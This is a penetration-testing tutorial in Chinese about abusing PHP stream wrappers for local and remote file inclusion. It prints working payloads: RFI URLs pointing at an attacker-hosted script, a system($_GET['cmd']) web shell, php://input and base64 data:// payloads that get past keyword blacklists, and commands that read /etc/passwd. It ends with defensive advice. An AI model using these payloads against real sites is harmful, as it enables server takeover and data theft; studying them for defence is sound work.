滲透測試中PHP Stream Wrappers的利用技巧
流(Streams)這個概念是在php4.3引進的,是對流式資料的抽象,用於統一資料操作,用於統一資料操作,比如檔案資料、網路資料、壓縮資料等。簡單點講,流就是表現出流式資料行為的資源物件。在本文中,我將為大家介紹一些PHP Stream Wrappers在滲透測試中的利用技巧。
瞭解 IT 中的流
當不同的介質之間有資料互動的時候,就使用流來實現。資料來源和目標可以是檔案,TCP/IP或UDP網路連線,標準輸入和輸出,檔案伺服器上的檔案傳輸或檔案存檔過程。即使這些流看起來彼此差異很大,但它們卻有一個共同的執行緒:它們基本上都是讀寫的過程。你可以將資料從源寫入到目標,也可以將從源讀取的資料傳輸到目標。大致過程如下:
連線建立
資料讀取
資料寫入
連線結束
即使基本操作是讀寫,也需要執行其他操作才能訪問Web伺服器或存檔檔案,或是執行簡單的輸入和輸出過程,以及通過TCP/IP或UDP建立連線。
流操作中的通用函式
我們可以通過PHP中的一些通用函式與流進行互動:
file open fwrite fclose file_get_contents file_put_contents
在PHP中,你可以使用通用函式來執行各種流操作,而無需使用單獨的函式,從而使整個過程更加簡單。
直到今天,這些函式仍是流概念的主要部分並用於檔案讀寫過程。我們現在可以在PHP中使用wrapper(包裝器)來執行各種流處理,例如HTTP,FTP,SOCKET程序和標準輸入/輸出程序。
如果要使用流,則需要以特定格式指定其型別和目標。我們將在通用函式中使用的流型別定義如下:
<wrapper>://<target>
<wrapper>佔位符用於指定我們將使用的流型別,如File,FTP,PHPOUTPUT,PHPINPUT,HTTP或SSL。
如果你是PHP程式設計師,你應該熟悉以下程式碼。它會讀取some.txt檔案並列印其內容。
<?php $handle = fopen("some.txt","rb"); while(feof($handle)!==true) { echo fgets($handle); }
在程式碼中,我們使用file://system wrapper呼叫fopen通用流函式。從技術上講,上面的程式碼與以下程式碼完全相同:
<?php $handle = fopen("file://some.txt","rb"); while(feof($handle)!==true) { echo fgets($handle); }
由於流函式中的預設包裝器是file://,因此如果要使用它,則不必進行指定。
你可以使用以下程式碼列出允許使用的包裝器。
<?php print_r(stream_get_wrappers());
流上下文概念
對於大多數用例,流函式的預設用法可能已經足夠。但是在某些情況下,你需要的不僅僅是預設用法。
<?php file_get_contents(“http://www.example.com/news.php”);
我們假設可以使用file_get_contents命令來讀取 http://www.example.com/news.php 上的新聞。但是,如果該網站需要某種形式的身份驗證才能訪問其內容呢?在這種情況下,你可以使用流上下文(Stream-Context)規範使用可選引數自定義流行為。
以下是一段流上下文的示例程式碼:
<?php $postdata = '{"username":"ziyahan"}' $opts = array('http' => array( 'method' => 'POST', 'header' => 'Content-type: application/json;charset=utf-8;\r\n'. 'Content-Length: '.mb_strlen($postdata), 'content' => $postdata ) ); $context = stream_context_create($opts); $response = file_get_contents('http://www.example.com/news.php', false, $context);
如上所示,流上下文實際上是一個數組。上面的鍵值表示將在上下文中使用的包裝器型別(本例中為HTTP)。每個包裝器都有各自的上下文引數。你可以在 PHP文件 中閱讀有關它們的更多資訊。
PHP 流過濾器
以上我們對流的讀寫過程已有了一個初步的瞭解。流包裝器的主要優點是可以在讀/寫過程中即時的修改,更改或刪除資料。
PHP為我們提供了一些流過濾器(string.toupper,string.tolower,string.rot13和string.strip_tags)。除此之外,還可以使用各種自定義過濾器。
我們可以使用stream_append_filter函式在流上應用過濾器。例如,下面的過濾器會將所有讀取的句子轉換為大寫:
<?php $handle = fopen('file://data.txt','rb'); stream_filter_append($handle, 'string.toupper'); while(feof($handle)!==true) { echo fgets($handle); } fclose($handle);
在data.txt中讀取的資訊將以大寫形式顯示在螢幕上。
你還可以使用php://filter wrapper向流新增過濾器:
<?php $handle = fopen('php://filter/read=string.toupper/resource=data.txt','rb'); while(feof($handle)!==true) { echo fgets($handle); } fclose($handle);
流開始傳輸時將呼叫該方法。與第一個示例相比,該方法對於之後不允許過濾器附件的函式(如file()和fpassthru())更為可行。
你可以使用過濾器進行編碼(rot13,base64)或檔案壓縮和提取。
除了PHP和預定義的包裝器之外,你還可以使用第三方包裝器(如Amazon S3或Dropbox),併為特定操作編寫自定義包裝器。
在此之前我們給出的示例屬於 本地檔案包含(LFI)類目 ,其中包括將目標系統中的檔案包含在程式碼中以提取系統的資料。
在遠端檔案包含中 PHP Wrappers 的使用
除了LFI之外,還可以遠端向Web應用注入程式碼,即 遠端檔案包含(RFI) 。
以下是一段示例程式碼:
<?php include($_GET[“go”].”.php”);
使用這段程式碼,你可以使用連結瀏覽網站,例如 www.example.com/?go=contact 和 www.example.com/?go=products 。
但是,這段程式碼有一個根本的缺陷。假設在遠處的某個伺服器中有一個名為malscript.txt的檔案,該檔案包含以下程式碼:
<?php phpinfo();
這是包含以上程式碼檔案的URL: http://www.attacker.com/malscript.txt
然後,攻擊者將呼叫以下URL載入該惡意指令碼。
www.example.com/?go=http%3A%2F%2Fwww.attacker.com%2Fmalscript.txt <?php include(“http://www.attacker.com/malscript.txt.php”);
開發人員新增的.php副檔名在此示例中顯示為barrier(屏障)。在RFI攻擊中,想要繞過它非常的容易。
這是攻擊者提供的URL: http://www.attacker.com/malscript.txt?q= 。這是攻擊者為了執行攻擊而需要訪問的完整URL:
www.example.com/?go=http%3A%2F%2Fwww.attacker.com%2Fmalscript.txt%3Fq%3D <?php include(“http://www.attacker.com/malscript.txt?q=.php”);
使用攻擊URL中的“?q=”字元繞過.php barrier。這只是一個例子,在多數情況下你可以使用適當的副檔名託管檔案。這個技巧對於伺服器端請求偽造攻擊(CSRF)也非常有用。
.txt檔案從遠端伺服器被注入到PHP函式中,文字檔案中的程式碼將作為網站程式碼的一部分被執行。phpinfo()函式將為我們顯示伺服器的敏感資訊。
在該示例當中,我們僅僅只是讀取了伺服器的資訊。如果我們將其中的程式碼更改為其它PHP命令又會發生什麼呢?如下所示:
<?php system(“uname -a”)
可以看到,現在我們可以利用RFI執行系統命令了。此程式碼允許攻擊者通過將其作為GET引數提供,來執行他們想要執行的任何命令:
<?php system($_GET[“cmd”]);
我們再次使用與前面示例相同的指令碼URL: http://www.attacker.com/malscript.txt?q= 。但這次我們可以提供一個系統命令作為CMD的GET引數:
www.example.com/?cmd=uname+-a&go=http%3A%2F%2Fwww.attacker.com%2Fmalscript.txt?q=
此時,伺服器可以根據攻擊者的請求執行各種命令。
如果無法使用查詢字串覆蓋 .php extension barrier,則可以使用該副檔名。你需要為此建立一個PHP檔案,並在將其上傳到伺服器之前包含以下程式碼。
以下是backdoor.php檔案中的內容:
<?php echo '<?php system($_GET["cmd"]);?>';
因此,攻擊者需要提供的新連結為: http://www.attacker.com/backdoor 。這是攻擊者為了執行攻擊而需要訪問的連結:
http://example.com/?cmd=cat%20/etc/passwd&go=http%3A%2F%2Fwww.attacker.com%2Fbackdoor
PHP將執行此程式碼:
<?php include(“http://www.attacker.com/backdoor.php”);
使用 Stream Wrappers 繞過黑名單列表
如果開發人員開始採取防禦措施並過濾掉了一些輸入,那麼我們又該怎麼辦?例如,不允許在引數中使用http://。
其實解決方案很簡單,你可以使用其他選項,例如php://input wrapper,而不是已過濾的http:// wrapper。
在利用RFI漏洞時,如何使用包裝器來獲取POST請求主體的輸入並將其傳送給PHP編譯器呢?
以下是一個請求示例:
POST http://www.example.com?go=php://input%00 HTTP/1.1 Host: example.com Content-Length: 30 <?php system($_GET["cmd"]); ?>
如上所示,即使過濾掉了http://和file:// wrapper,我們仍然可以使用php://input wrapper來利用此漏洞。
即使開發人員將php:// wrapper和允許系統級命令執行的其他PHP命令(如system,cmd)列入黑名單,我們仍然有辦法覆蓋barriers。在這種情況下,我們可以使用data:// wrapper,其作用是將傳遞給它的輸入作為型別和值傳遞給PHP流函式。
以上的程式碼為:
<?php system($_GET[“cmd”]);
如果允許使用data:// wrapper,攻擊者只需使用以下程式碼而無需託管外部檔案:
data://text/plain, <?php system($_GET["cmd"]);
這是最終請求的URL編碼版本:
data%3a%2f%2ftext%2fplain%2c+%3c%3fphp+system(%24_GET%5b%22cmd%22%5d)%3b+%3f%3e http://www.example.com/?go=data%3a%2f%2ftext%2fplain%2c+%3c%3fphp+system(%24_GET%5b%22cmd%22%5d)%3b+%3f%3e
使用cmd引數,任何程式碼請求都將被執行。例如,想要獲取系統資訊,可以使用uname -a命令,但必須先對其進行編碼。
用於攻擊的URL:
http://www.example.com/?cmd=uname+-a&go=data%3a%2f%2ftext%2fplain%2c+<%3fphp+system(%24_GET%5b"cmd"%5d)%3b+%3f>
前面我們已經假設開發人員將system和cmd等關鍵字列入了黑名單中。那麼,我們有什麼可以代替的解決方案呢?
幸運的是data:// wrapper支援base64和rot13編碼。因此,你必須對將用於利用base64中漏洞的PHP程式碼進行編碼,併發出以下請求:
PHP code: <?php system($_GET[“cmd”]);
這是漏洞利用的base64編碼版本。PHP將對其進行解碼並執行。
PD9waHANCnN5c3RlbSgkX0dFVFsiY21kIl0pOw0KPz4=
你將發出請求的URL:
http://www.example.com/?cmd=uname+-a&go=data://text/plain;base64,PD9waHANCnN5c3RlbSgkX0dFVFsiY21kIl0pOw0KPz4=
go引數下的指令碼程式碼(base64編碼)已經準備好使用“cmd”引數在作業系統級別執行命令。
總結
在本文中,我為大家介紹了一些PHP Stream Wrappers在滲透測試中的利用技巧,以及讓大家對此有了更為深入的瞭解。這些包裝器也可以用來繞過某些安全過濾器。正如上面例子中所說的那樣,由於攻擊範圍不斷增加,使用黑名單幾乎已不可能確保安全性。將接收的函式和文字輸入列入白名單而不是將關鍵字(如http://,file://,php://,system和cmd)列入黑名單,並在每次發現新的攻擊媒介時及時的更新它們將更為有效。可以說,效率是保護Web應用程式安全性的關鍵。
除此之外,你還可以禁用遠端檔案包含功能,並且永遠不要讓使用者在可能實現遠端檔案包含和執行程式碼的函式中控制輸入,例如require,include,require_once,include_once等。
*參考來源: netsparker ,FB小編secist編譯,轉載請註明來自FreeBuf.COM